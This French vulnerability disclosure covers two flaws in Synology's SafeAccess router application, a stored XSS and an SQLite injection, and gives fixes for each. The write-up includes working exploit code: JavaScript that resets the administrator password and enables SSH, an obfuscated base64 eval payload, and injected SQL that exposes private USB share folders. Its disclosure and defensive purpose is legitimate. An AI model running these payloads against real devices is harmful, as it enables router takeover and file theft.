Synology SA-20:25 : SafeAccess - Plusieurs vulnérabilités
Historique
- 01/05/2020: Rapport envoyé à Synology
- 24/11/2020: Première publication de la vulnérabilité sur le site de Synology
- 30/11/2020: Publication des détails de la vulnérabilité.
Résumé
La première vulnérabilité décrite dans le rapport est une XSS stockée exploitant plusieurs pages. Si un attaquant exploite cette vulnérabilité, la session de l’utilisateur admin peut être utilisée pour exécuter une action sur le routeur comme changer le mot de passe admin et activer le service SSH pour prendre le contrôle du routeur.
La deuxième vulnérabilité est une injection SQLite conduisant à une édition de fichier SQLite arbitraire sur le système. Un attaquant peut par exemple modifier la base de données fbsharing.db pour exposer les répertoires internes et télécharger tous les fichiers accessibles via l’application “File Station”.
XSS Stockée
Détails
Une XSS se produit lorsqu’un utilisateur envoie une requête pour accéder à un site web bloqué par SafeAccess. Le domaine est affiché sur le journal d’activité et les rapports de SafeAccess. Si l’administrateur visite une de ces pages vulnérables, l’attaquant peut utiliser l’API SRM avec JavaScript et modifier le mot de passe de l’administrateur. Ensuite, l’attaquant peut activer SSH et obtenir un accès distant au routeur en tant que root.
L’exploit nécessite :
L’application SafeAccess installée
Un profil avec un filtre Web défini
Exploitation
Tout d’abord, pour tester le comportement normal, nous envoyons une requête pour demander à l’administrateur l’accès à un domaine bloqué.
Le domaine n’a pas besoin d’être dans la liste de blocage, mais un profil doit être configuré sur SafeAccess.
Nous pouvons voir la requête dans le journal d’activité
Pour confirmer la XSS, nous pouvons utiliser une charge malveillante simple pour afficher une boite de dialogue sur la page web.
Le contenu est chargé sur la page de manière dynamique, nous utilisons donc une XSS basée sur les événements.
<img src=x onerror=alert("XSS")>
Nous pouvons voir que la XSS est déclenchée
Pour notre partie JavaScript de l’exploit, nous avons besoin de plusieurs étapes :
- Obtenir le nom de l’administrateur
- Modifier son mot de passe
- Activer SSH
Voici le code pour obtenir le nom de l’administrateur :
var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
var name = JSON.parse(this.response)['data']['result'][0]['data']['users'][0]['name']);
}
}
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Group.Member%22,%22method%22:%22list%22,%22version%22:1,%22group%22:%22administrators%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");
Voici le code pour changer le mot de passe administrateur (le nouveau mot de passe est “adminpassword”) :
var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=true&compound=%5B%7B%22api%22%3A%22SYNO.Core.User%22%2C%22method%22%3A%22set%22%2C%22version%22%3A1%2C%22name%22%3A%22admin%22%2C%22password%22%3A%22adminpassword%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");
Voici un code pour activer SSH :
var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Terminal%22,%22method%22:%22set%22,%22version%22:%222%22,%22enable_ssh%22:true,%22ssh_hw_acc_cipher_only%22:false%7D%5D&api=SYNO.Entry.Request&method=request&version=1");
Voici le code complet :
var entry_url = "/webapi/_______________________________________________________entry.cgi";
function get_xhr(){
var x = new XMLHttpRequest();
x.open("POST",entry_url , true);
x.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
return x
}
function send_compound(compound){
get_xhr().send("stop_when_error=false&compound="+compound+"&api=SYNO.Entry.Request&method=request&version=1");
}
var x = get_xhr();
x.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
var name = JSON.parse(this.response)['data']['result'][0]['data']['users'][0]['name'];
send_compound("%5B%7B%22api%22%3A%22SYNO.Core.User%22%2C%22method%22%3A%22set%22%2C%22version%22%3A1%2C%22name%22%3A%22"+name+"%22%2C%22password%22%3A%22adminpassword%22%7D%5D");
send_compound("%5B%7B%22api%22:%22SYNO.Core.Terminal%22,%22method%22:%22set%22,%22version%22:%222%22,%22enable_ssh%22:true,%22ssh_hw_acc_cipher_only%22:false%7D%5D");
}
}
x.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Group.Member%22,%22method%22:%22list%22,%22version%22:1,%22group%22:%22administrators%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");
Pour l’envoyer facilement, nous réduisons le code JavaScript et l’encodons en base64.
La partie finale du JavaScript est :
eval(atob("ZnVuY3Rpb24gZygpe3ZhciBhPW5ldyBYTUxIdHRwUmVxdWVzdDtyZXR1cm4gYS5vcGVuKCdQT1NUJyxlLCEwKSxhLnNldFJlcXVlc3RIZWFkZXIoJ1gtU1lOTy1UT0tFTicsX1MoJ1N5bm9Ub2tlbicpKSxhfWZ1bmN0aW9uIHMoYSl7ZygpLnNlbmQoJ3N0b3Bfd2hlbl9lcnJvcj1mYWxzZSZjb21wb3VuZD0nK2ErJyZhcGk9U1lOTy5FbnRyeS5SZXF1ZXN0Jm1ldGhvZD1yZXF1ZXN0JnZlcnNpb249MScpfXZhciBlPScvd2ViYXBpL19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19lbnRyeS5jZ2knLHg9ZygpO3gub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYodGhpcy5yZWFkeVN0YXRlPT09WE1MSHR0cFJlcXVlc3QuRE9ORSYmdGhpcy5zdGF0dXM9PT0yMDApe3ZhciBhPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSkuZGF0YS5yZXN1bHRbMF0uZGF0YS51c2Vyc1swXS5uYW1lO3MoJyU1QiU3QiUyMmFwaSUyMiUzQSUyMlNZTk8uQ29yZS5Vc2VyJTIyJTJDJTIybWV0aG9kJTIyJTNBJTIyc2V0JTIyJTJDJTIydmVyc2lvbiUyMiUzQTElMkMlMjJuYW1lJTIyJTNBJTIyJythKyclMjIlMkMlMjJwYXNzd29yZCUyMiUzQSUyMmFkbWlucGFzc3dvcmQlMjIlN0QlNUQnKSxzKCclNUIlN0IlMjJhcGklMjI6JTIyU1lOTy5Db3JlLlRlcm1pbmFsJTIyLCUyMm1ldGhvZCUyMjolMjJzZXQlMjIsJTIydmVyc2lvbiUyMjolMjIyJTIyLCUyMmVuYWJsZV9zc2glMjI6dHJ1ZSwlMjJzc2hfaHdfYWNjX2NpcGhlcl9vbmx5JTIyOmZhbHNlJTdEJTVEJyl9fSx4LnNlbmQoJ3N0b3Bfd2hlbl9lcnJvcj1mYWxzZSZjb21wb3VuZD0lNUIlN0IlMjJhcGklMjI6JTIyU1lOTy5Db3JlLkdyb3VwLk1lbWJlciUyMiwlMjJtZXRob2QlMjI6JTIybGlzdCUyMiwlMjJ2ZXJzaW9uJTIyOjEsJTIyZ3JvdXAlMjI6JTIyYWRtaW5pc3RyYXRvcnMlMjIlN0QlNUQmYXBpPVNZTk8uRW50cnkuUmVxdWVzdCZtZXRob2Q9cmVxdWVzdCZ2ZXJzaW9uPTEnKQ=="))
Nous pouvons maintenant envoyer la demande de “déblocage du domaine malveillant” :
Maintenant, nous visitons le journal d’activité de SafeAccess pour déclencher la XSS (l’Administrateur peut recevoir un lien direct pour accepter par email s’il est configuré) :
Enfin, nous pouvons nous connecter au routeur en tant que root
Note
La XSS est également présent sur les rapports d’activité.
Si l’administrateur accède au rapport, la XSS sera déclenchée
Mais sur cette interface, il n’est pas possible d’obtenir le X-SYNO-TOKEN et donc, d’utiliser l’API Synology.
La solution de contournement est de rediriger l’utilisateur vers l’application en utilisant un lien comme celui-ci :
C’est possible avec :
- “window.location.href” une fonction JavaScript.
- une Iframe (l’Iframe s’appellera elle-même. Nous devons vérifier si l’iframe n’est pas déjà dans une iframe ).
Un code JS valide peut être :
if(window.self == window.top){
var i = document.createElement('iframe');
i.src = "/webman/index.cgi?launchApp=SYNO.SafeAccess.Application&launchParam=fn%3DSYNO.SafeAccess.Activity.TabPanel%26tabname%3Daccess_request";
document.body.appendChild(i);
}
Correction
Pour corriger cette vulnérabilité, je conseille d’aborder deux points :
- Corriger la XSS en encodant la sortie lors du rendu du journal d’activité.
- Exiger l’ancien mot de passe pour modifier le compte administrateur
SQLite Injection
Détails
La même requête est vulnérable à une injection SQLite. J’ai identifié un moyen d’accéder au fichier des dossiers partagés en utilisant cette injection.
Exploitation
Le paramètre domain n’est pas correctement géré pour se protéger contre l’injection SQLite. Pour confirmer la vulnérabilité, nous allons essayer de définir la version de SQLite comme domaine.
Nous pouvons voir sur l’interface du journal d’activité que le routeur utilise la version 3.27 de SQLite.
SQLite permet d’attacher une base de données pour la modifier directement. Je choisis la base de données “fbsharing.db” contenant les informations des dossiers de partage.
Par défaut, ce fichier n’existe pas. Pour le créer, nous devons partager au moins un fichier ou un dossier.
Un périphérique USB doit être branché sur le routeur pour pouvoir utiliser la File Station.
Pour démontrer l’exploitation, nous pouvons créer deux dossiers :
Nous partageons le dossier “Shared file” et notre but est d’avoir accès aux “Super Secret Files”
Pour partager le dossier “Super Secret Files”, nous devons exécuter trois requêtes SQL :
ROLLBACK;
ATTACH DATABASE '' AS sharing ;
INSERT INTO sharing.sharingLinks VALUES("exploits",1024,"/","/usbshare1/",null,0,0,"admin","valid","true",null);
Nous pouvons exécuter ces requêtes avec l’injection SQLite :
La réponse de cette requête est une erreur car l’injection SQLite se produit deux fois et ne fonctionne que lors de la première injection.
Le dossier partagé est correctement ajouté :
Maintenant, nous pouvons accéder au nouveau dossier partagé :
http://192.168.1.1:8000/fbdownload/exploits?k=exploits&stdhtml=true
Et nous pouvons accéder au dossier “Super Secret Files”
Correction
Pour corriger cette vulnérabilité, il est nécessaire d’utiliser une requête préparée pour exécuter correctement les requêtes SQLite.